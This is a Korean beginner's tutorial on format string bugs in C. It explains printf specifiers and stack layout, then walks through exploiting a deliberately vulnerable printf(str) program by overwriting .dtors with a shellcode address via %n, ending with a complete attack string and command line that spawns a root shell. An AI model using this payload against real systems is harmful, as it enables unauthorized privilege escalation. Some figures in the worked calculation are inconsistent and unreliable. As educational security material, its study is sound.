Format String Bug HackerLogin & CERT : Seo Jeong Hyeon Email : seobbung@naver.com
0x 목차 x0 1. 머리말...3 2. Format String?...3 3. 함수호출시스택구조...4 4. Format String Bug?...6 (1) %x 이해 (2) %c 이해 (3) %n 이해 (4) % 임의정수c%n 이해 5. Attack...9 (1) 거리측정 (2) 쉘코드주소얻기 (3) Return 주소얻기 (4) Attack 6. 맺음말...12 7. 참고문헌...12
1. 머리말 편리함을위해서우선존대어를사용하지않았습니다. 넓은마음으로이해해주시기를...^^ 무엇에대해서공부할까고민을하던중예전부터생각하고있었던 Format String Bug에대해서공부해보았다. 본문서는초보자가초보자를위해서쓴글이다. 본문서는 C언어, 스택에대한개념이있다면쉽게이해할수있을거라고생각한다. 공부하면서스택구조와각종출력함수의서식문자등에대해서많이알수있었다. 본문서에잘못된부분이많이있으면넓은마음으로이해해주시고잘못된부분이있다면메일주시면감사하겠습니다. 작업한환경은 RedHat 9, gcc3.2.2 에서테스트했다. 2. Format String? C언어를배운사람이라면모두다 printf() 함수를알것이다. 가장기본적으로처음배우는출력함수이다. 이가장기본적인함수를이용하여포맷스트링이무엇인지알아보자. #include <stdio.h> int main() { char buf1[12] = "HackerLogin"; char buf2[9] = "Fighting"; int i = 1; } printf("%s %s %d 등하자! n", buf1, buf2, i); [ 표 1]Format String 예제 위표를보면 printf함수안에 로묶어진부분 "%s %s %d등하자! n" 를볼수있을것이다. 이부분을 Format String이라고한다. 즉, 출력하기위한문자열의형식을정하는부분이라고생각하면될것이다. 그리고 %s나 %d는서식문자라고하고이것은출력할때문자열을출력할지숫자를출력할지를미리결정하는부분이다.
3. 함수호출시스택구조 Format String Bug 에들어가기에앞서메모리에대해서공부해보자. [ 그림 1] 8086 기본메모리구조 위그림은 8086 시스템의기본적인메모리구조이다. 부팅시먼저메모리의하위주소에커널이위치하게된다. 커널은운영체제이자핵심부분이라고생각하면된다. 그리고나머지부분은가용부분으로다른기타응용프로그램들이나프로세스들이실행되게되면이부분에적제되어서실행되게된다. [ 그림 2] Segment 위그림을보면 Segment가여러개있는것을볼수있다. 현재컴퓨터는멀티태스킹을사용
한다. 즉, 한번에여러프로그램을메모리에올려서동시에사용하는것처럼사용할수있게해준다. Segment는프로그램즉, 프로세스가실행되기위해서는메모리에적재되어야하는데프로세스가실행되기위해서필요한정보들이있을것이다. 이정보들이메모리에올라가야하는데이정보들을단위로묶어서올라가게된다. 이단위를 Segment라고한다. C언어에서는이 Segment 를다시 Code, Data, Stack, Heap영역으로나뉠수있다. Code Segment는동작을정의해놓은영역이다. 시스템이알아들을수있는명령어즉 Instruction들이들어있다. 이것은기계어코드로써컴파일러가만들어낸코드이다. Data Segment에는전역 (global) 변수, 정적 (static) 변수, 초기화된배열과구조들이들어가게된다. 데이터영역은프로그램이실행될때생성되고프로그램이종료될때시스템에반환됩니다. Stack Segment에는자동변수 (auto variable) 저장, 복귀번지 (return address) 저장의용도로사용되어진다. 지역변수는 auto variable에해당하며, 스택영역에서생성된다. 함수역시호출시스택영역에생성되고사용된후시스템에사용영역이반환된다고할수있다. 스택의구조는 FILO(First In Last Out) 방식이다. 말그대로먼저들어간것이마지막에나오는구조이다. 쉽게예를들자면밥을먹을때반찬접시가여러개있을것이다. 이때다먹은반찬의접시를차근차근쌓았다고하자. 가장밑에있는것은가장먼저바닥에들어간접시이고, 바닥에있기때문에당연히가장늦게나올수밖에없을것이다. 우리가조금더자세히알아할부분이이스택영역이므로간단히그림으로이해해보자. [ 그림 3] Stack 의이해 Heap Segment에는 malloc() 와같은함수로프로그래머가스스로메모리크기를정하여할당할수있는데이런메모리할당은 Heap Segment 영역에할당되게된다. 메모리모델에따라서달라질수있다. Heap 영역은 Stack과반대로 FIFO(First In First Out) 방식으로작동한다. 파이프를생각하면되겠다. 먼저들어간데이터가있고뒤에서다른데이터가들어오면앞으로밀려나면서제일먼저들어간데이터가제일먼저나오는방식인것이다. 메모리할당위치는 Code, Data, Heap영역은하위메모리로부터할당되고, Stack 영역은상위메모리로부터할당되어진다.
4. Format String Bug? Format String Bug는프로그래머의게으름이나실수에서생겨나는 Security Hole이다. 간단히예를들어보자. 다음과같이프로그래머가사용자에게문자열을입력받은문자열을출력하는프로그램을작성하였다고하자. #include <stdio.h> #include <stdlib.h> int main( int argc, char *argv[] ) { char str[20]; strcpy( str, argv[1] ); printf("%s", str ); } [ 표 2] 출력샘플코드 1 잘작동될것이다. 그러나프로그래머가게으름이나실수로인하여 %s 를빼고 printf(str); 만쓸수도있을것이다. 코딩양이줄어드는편리함이있을것이다. 그코드는다음과같다. #include <stdio.h> #include <stdlib.h> int main( int argc, char *argv[] ) { char str[20]; strcpy( str, argv[1] ); printf( str ); } [ 표 3] 출력샘플코드 2 샘플코드 1과 2는똑같이작동한다. 그러니샘플 2코드는보다쉽게작성할수있고몇글자라도더타자를칠필요가없어진다. 하지만샘플코드 2같이프로그래밍을한다면 Security Hole 만들어질수있다. 입력값을받아서 str 변수에복사해주고이복사한값을출력해주는단순한프로그램이다. 그러나 %s 를이용해서 Format String을지정해주지않으면 str 변수에 %d, %s, %x등서식문자가포함된다면 printf는이를문자열로인식하지않고서식문자로인식한다는것이다. 이를이용해서프로그램의흐름을제어할수있다.
(1) %x 이해 %x 는 16 진수로출력하고자할때사용한다. 다음과같은코드를보자. #include <stdio.h> void main( ) { char str[10] = "seobbung"; printf("%s", str ); } [ 표 4] 기본문자열출력 보는바와같이기본적으로문자열을출력하는프로그램이다. 하지만 printf("%s", str ); 에서 %s 대신 %x를사용한다면어떻게될까? char str[10] = "seobbung"; 에서 seobbung 문자열이저장된주소를출력하게되는것이다. 그렇다면 [ 표 3] 출력샘플코드 2 상황을생각해보자. 입력인자에 %x를넣는다면어떻게될까? 말했듯이분명문자열로인식하지않고 %x를서식문자로인식할것이다. 그러나 %x 다음에는그에맞는인자가와야한다. 위 [ 표 4] 에서 str과같이말이다. 그러나 [ 표 3] 소스코드에서인자값으로 %x를넣어주면그에상응하는인자값이없기때문에바로다음주소의내용의주소값 (16진수) 을출력하게되는것이다. [ 그림 4] 출력샘플코드 2 실행시 Stack 구조 출력샘플코드 2를실행했을때예상되는 Memory Stack의구조는위그림과비슷할것이다. 먼저 strcpy와 printf 함수가있는데이것은그함수의주소값이들어가는것이아닐것이다. strcpy함수와 printf함수에들어가는인자값들이 Stack에들어갈것이다. 그리고스택은 High Address부터사용하기때문에 str[20] 이먼저 Stack에자리잡게되는것이다. 다시본론으로들어가보자. 출력샘플코드 2를실행시인자값에 %x를넣어줘서출력하려고할때 esp는 printf함수에있는인자값을가리키고있을것이다. 여기서 %x는 [ 표 4] 와같이 %x에맞는인자가없기때문에그냥 esp 다음 4바이트에있는값, 즉 strcpy의인자값중하나를그냥 16진수로출력해버린다는것이다. 이것이중요한포인트이다. 이 %x를여러개넣어준다면그다음도계속출력하게될것이다.
(2) %c 이해 %c는하나의문자로출력하는서식문자이다. 그렇다면 % 임의정수c는뭘의미할까? 임의정수로포맷형식을지정해주는것이다. %100c는 100자리를출력형식으로한다는의미이다. 일반적으로 C프로그래밍할때숫자한자리를출력하다가두자리를출력하게되면출력형식이맞지않게된다. 그래서일반적으로 %2d로형식을맞춰주는것과같다. (3) %n 이해 [ 표 3] 출력샘플코드 2 와 [ 그림 4] 출력샘플코드 2 실행시 Stack 구조를다시보자. [ 그림 5] %n 이해 위그림은 %n을이해하기위해인위적으로 Stack의구조가위그림과같다고가정하는것이다. %n은두가지일을한다. 첫번째, 지금까지출력된자리수를계산한다. 두번째, 다음스택의내용을주소로인식하여이주소에방금계산한값을덮어쓴다. 출력샘플코드 2에 AAAA%n로인자값을넣어주고실행시킨다면 printf함수는 AAAA를출력할것이다. 그리고 %n에의해서출력된자리수를계산한다. 여기서는 4이다. 그리고다음스택에는 AAAA가들어있다이것을 16진수주소값으로인식한다. 여기서는 0x41414141이다. 이주소 (0x41414141) 에 4를덮어쓰는것이다. 여기서중요한한가지를알수있다. 어쨌든덮어쓰는것이가능하다는것이다!! (4) % 임의정수 c%n 이해 % 임의정수c%n를해석하자면 % 임의정수c에서임의정수자리만큼출력형식을지정하여그만큼출력하겠다는의미이다. 그리고 %n 이있다. 앞에서임의정수자리만큼출력하였으니 %n은임의정수를세고그다음 Stack 에있는값을주소로인식하여임의정수를덮어쓰는것이다. 여기서중요한것을알았다. 우리가원하는메모리주소에원하는내용을덮어쓸수있다는것이다. 결국엔리턴주소를알아내서쉘코드주소를덮어써서 root쉘획득이가능하다는것이다.
5. Attack (1) 거리측정 프로그램의제어를마음대로할수있다는것을알았으므로실제제어가가능한지테스트해보자. 우리가공격할간단한예제이다. #include <stdio.h> #include <stdlib.h> int main( int argc, char *argv[] ) { char str[256]; strcpy( str, argv[1] ); printf( str ); } [ 표 5] 취약한예제 간단히위소스를설명하자면먼저 str[256] 을잡아주고, 인자값으로입력받은것을 str로복사해준다음그문자열을출력해주는프로그램이다. 먼저공격하기위해서 %x를이용하여출력할때 printf함수인자값과 str의위치를계산해보자. 인자값으로 AAAA%x를한번해보고 %x를추가해보고해서출력값이 41414141이나올때까지해서거리를계산한다. [ 그림 6] %x 로거리계산그림 거리를측정해본결과 %x 가 4 개일때 str 에접근할수있었다. (2) 쉘코드주소얻기 이제 eggshell을이용해서쉘코드위치를구해보자. 주소값이 0xbffff289 가나왔다. 그러가문제가있다. x86 시스템에서 0xffffff(4294967295) 만큼의크기를지정할수없기때문에 4바이트가아닌 2바이트씩거꾸로넣어줘야한다. f289는 62049이되고, bfff = 49151이된다. Eggshell의정확한쉘코드의주소를반환하지않기때문에 getenv라는프로그램으로환경변수에서직접주소를가져와서정확도를높였다.
(3) Return 주소얻기 1. gdb를이용한방법 (gdb) disass main Dump of assembler code for function main: 0x08048394 <main+0>: push %ebp 0x08048395 <main+1>: mov %esp,%ebp 0x08048397 <main+3>: sub $0x78,%esp... End of assembler dump. (gdb) bp *main+1 Undefined command: "bp". Try "help". (gdb) b *main+1 Breakpoint 1 at 0x8048395 (gdb) r Starting program: /root/test Breakpoint 1, 0x08048395 in main () (gdb) info reg esp esp 0xbfffd8b8 0xbfffd8b8 [ 표 6] gdb를이용한 ret 구하기 함수가시작될때 ret가저장되고그아래 4바이트에 sfb가들어가게됩니다. sfb가들어가는과정이 push %ebp 부분이다. 그래서그다음줄에 break point를걸어서그때의 sfb주소보다 4 바이트위에 ret 주소가있을것이기때문에위와같이하였다. 위에서는예상 ret는 0xbfffd8dc 일것이다. 그런데실제로이것으로하려고하면주소가정확하지가않다. ret주소를변경하면서시도해야하는데번거롭다. 그리고레드햇 9에서는랜덤스택을사용하기때문에이방법으로는힘들다. 2..dtors를이용간단히말하면프로그램이종료될때호출되는것이라고생각하면되겠다..dtors를찾아보자. [seobbung@localhost seobbung]$ objdump -h test grep.dtors 18.dtors 00000008 0804952c 0804952c 0000052c 2**2 [ 표 7].dtors를이용한 ret 구하기 여기서.dtors 주소는 0804952c이다. 우리는여기서 4바이트더한곳을덮어쓰면된다. +4를해주는이유는 objdump로검색했을때나오는주소가실제값이아니다. 실제값은검색한값의 +4를해주어야한다. 즉, 0x08049530이다.
(4) Attack 정리해보자. 쉘코드주소는 bfff는 = 49151이되고, f275 = 62069 가되고, Return 주소는 0x08049530이된다. 이제실제공격문자열을만들어보자. 다음과같을것이다. AAAA x30 x95 x04 x08aaaa x32 x95 x04 x08 %8x%8x%8x%62049c%n%52598c%n [ 표 8] 공격할문자열 왜이런공격문자열이나오는지살펴보자. 먼저취약한예제에서문자열을인자값으로받고, str[256] 을할당하고입력받은문자열을 str로복사하고이문자열을출력하는것이다. 출력할때의행동을자세히살펴보자. 먼저이상한것이하나있을것이다. 자세히본사람이라면숫자가바뀐것을알수있을것이다. 왜숫자가 bfff는 = 49151, f275 = 62069 이었는데이숫자가아니고조금차이가있는지궁금할것이다. %n 이자신이나오기전까지출력한모든자리수를계산하기때문에정확히계산했기때문이다. f289 => 62089-40(4+4+4+4+8+8+8) = 62049 bfff => 1bfff(114687) - 62049 = 52598 [ 표 9] 정확한계산 먼저 f275에서 40을빼는이유는앞에서 AAAA x6c x95 x04 x08aaaa x6e x95 x04 x08%8x%8x%8x 부분이실행되면서 40바이트를이미썼기때문에빼주는것이다. 또, bfff는 bfff - f289를하면음수값이나오기때문에앞에한자리1을더추가해서빼준것이다. printf함수가출력을시작할때 AAAA x6c x95 x04 x08aaaa x6e x95 x04 x08 까지는그냥문자열로인식하고출력이되는것이다. 이제다음은 %8x%8x%8x부분이다. 이부분은 printf함수에서 str부분으로 Stack의 esp를옮기는작업이다. 즉, str에접근한것이다. 이제 %62049c%n 부분이다. 먼저 %62049c는 62049만큼출력한다는의미이고, esp의다음 4 바이트인 AAAA를출력할것이다. %n은지금까지출력한자리수를세어서다음 4바이트에있는 x30 x95 x04 x08의주소값에 40 +62049 = 62089를덮어쓴다. 다음부분인 %52598c%n도앞과똑같이 62098만큼출력한다는의미이고, esp의다음 4바이트인 AAAA를출력할것이다. 그리고 Stack의다음값 4바이트값인 x32 x95 x04 x08에 52598을덮어쓴다는의미이다. 이렇게덮어쓰고출력을하고프로그램이종료를하게되는데우리는프로그램이종료될때호출되는.dtors의리턴값을쉘코드주소로바꾸어버렸기때문에프로그램이정상종료되면서쉘이뜨게되는것이다../test `perl -e 'print "AAAA x30 x95 x04 x08aaaa x32 x95 x04 x08%8x%8x%8x%62049c%n%52598c%n"'` [ 표 10] 실제공격 위와같이하면실제쉘이뜨는것을볼수있다.
6. 맺음말 사실이문서는해커스쿨문제 FSB를풀면서처음접하게되었고, 공부하였다. 처음에는어려워서뭐가먼말인지하나도몰랐었다. 물론이문서를쓰면서조금알았다고하지만아직갈길은멀다고생각한다. 이번문서를쓰면서정말 FSB의기초를쓴다고썼는데이제막공부를시작한초보자가봤을때 ( 물론저도초보자이지만..) 어렵거나이해가안가는부분이있을수도있다. 넓은마음으로이해해주시고열심히공부하길바란다. 이문서를쓰면서도움을주신분들께감사의마음을전하고싶다..^^ 7. 참고문헌